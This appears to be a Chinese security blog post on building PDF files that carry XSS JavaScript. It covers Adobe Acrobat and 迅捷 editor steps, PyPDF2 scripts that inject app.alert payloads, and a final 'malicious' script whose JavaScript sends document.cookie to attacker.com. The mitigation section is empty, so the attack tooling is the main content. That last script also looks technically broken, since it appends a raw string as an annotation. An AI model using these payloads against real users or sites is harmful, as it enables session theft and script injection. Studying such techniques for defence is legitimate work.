跳至主要內容

xss2pdf 制作

Mr.zha0cai大约 3 分钟

0x01 制作方法

PDF 编辑软件

Adobe Acrobat DC

image

image

image

image

迅捷 PDF 编辑

  1. 启动迅捷 PDF 编辑器打开一个 PDF 文件,或者使用“创建 PDF 文件”功能,通过将其他文档和资源转换为“可移植文档格式”来创建 PDF 文件。

  1. 单击左侧的“页面”标签,选择与之对应的页面缩略图,然后从选项下拉菜单中选择“页面属性”命令

选择“页面属性”命令

  1. 在“页面属性”对话框单击“动作”标签,再从“选择动作”下拉菜单中选择“运行 JavaScript”命令,然后单击【添加】按钮,弹出 JavaScript 编辑器对话框

填写 JavaScript 代码

  1. 在弹出的“JavaScript 编辑器”对话框中输入代码: ​app.alert(‘XSS’);

    单击【确定】按钮保存 PDF 文件。

    这里需要注意的是:Adobe 支持自身的 JavaScript 对象模型,例如 alert(‘xss’)​ 必须被 APP 对象调用,因此变成了 app.alert(‘xss’)​。这意味着,利用 JavaScript 进行攻击时只能使用 Adobe 所支持的功能。

  2. 关闭软件,直接打开刚才保存的 PDF 文件,JavaScript 代码即被执行。经过测试最新版本的 360 浏览器和谷歌浏览器支持

  3. 现在,尝试把 PDF 文件嵌入到网页中并试运行。创建一个 HTML 文档,代码如下:

<html>
<body>
<object data="test.pdf" width="100%" heigh="100%" type="application/pdf"></object>
</body>
</html>

除了把 JavaScript 嵌入 PDF 文件中执行,还可以利用基于 DOM 的方法执行 PDF XSS。此类方法由 Stefano Di Paola 和 Giorgio Fedon 在第 23 届 CCC 安全会议中提出,大家可以参考论文 Adobe Acrobat。

Stefano Di Paola 把 PDF 中的 DOM XSS 称为 UXSS(Universal Cross-Site Scripting)。事实上,任何支持 PDF 文件的网站都可能存在这种漏洞。

Python

  1. 首先安装 PyPDF2
┌──(root㉿kali)-[~]
└─# pip install PyPDF2 
  1. 直接新建内嵌 xss 的 pdf
from PyPDF2 import PdfReader, PdfWriter

# 创建一个新的 PDF 文档
output_pdf = PdfWriter()
# 添加一个新页面
page = output_pdf.add_blank_page(width=72, height=72)
# 添加 js 代码
output_pdf.add_js("app.alert('xss');")

# 将新页面写入到新 PDF 文档中
with open("xss.pdf", "wb") as f:
    output_pdf.write(f)
  1. 将 JavaScript 代码嵌入到已有 pdf【这个才有效】
from PyPDF2 import PdfReader, PdfWriter

# 打开原始 PDF 文件
input_pdf = PdfReader("x.pdf")

# 创建一个新的 PDF 文档
output_pdf = PdfWriter()

# 将现有的 PDF 页面复制到新文档
for i in range(len(input_pdf.pages)):
    output_pdf.add_page(input_pdf.pages[i])

# 添加 JavaScript 代码
output_pdf.add_js("app.alert('xss');")

# 将新 PDF 文档写入到文件中
with open("xss.pdf", "wb") as f:
    output_pdf.write(f)

image

显示执行的域

from PyPDF2 import PdfFileWriter, PdfFileReader

# 打开原始 PDF 文件
input_pdf = PdfFileReader(open("example.pdf", "rb"))

# 创建一个 PDF 写入对象
output_pdf = PdfFileWriter()

# 复制输入 PDF 的所有页面
for page in input_pdf.pages:
    output_pdf.addPage(page)

# 在"/OpenAction" 字段中添加 JavaScript 代码
javascript_code = """
var currentDomain = window.location.hostname;
app.alert("JavaScript executed on domain: " + currentDomain);
"""
output_pdf.addJS(javascript_code)

# 将 PDF 保存到文件中
with open("output.pdf", "wb") as f:
    output_pdf.write(f)
from PyPDF2 import PdfFileWriter, PdfFileReader

# 创建一个 PDF 文档
output_pdf = PdfFileWriter()

# 添加一个页面
page = PdfFileReader(open("blank.pdf", "rb")).getPage(0)
output_pdf.addPage(page)

# 添加恶意 JavaScript 代码,这里是一个简单的示例
malicious_js = """
<</S/JavaScript/JS(
    var payload = document.createElement("img");
    payload.src = "http://attacker.com/steal.php?cookie=" + escape(document.cookie);
    document.body.appendChild(payload);
)>>"""
page["/Annots"].append(malicious_js)

# 将 PDF 保存到文件中
with open("malicious.pdf", "wb") as f:
    output_pdf.write(f)

0x02 修复方法

0x00 前人栽树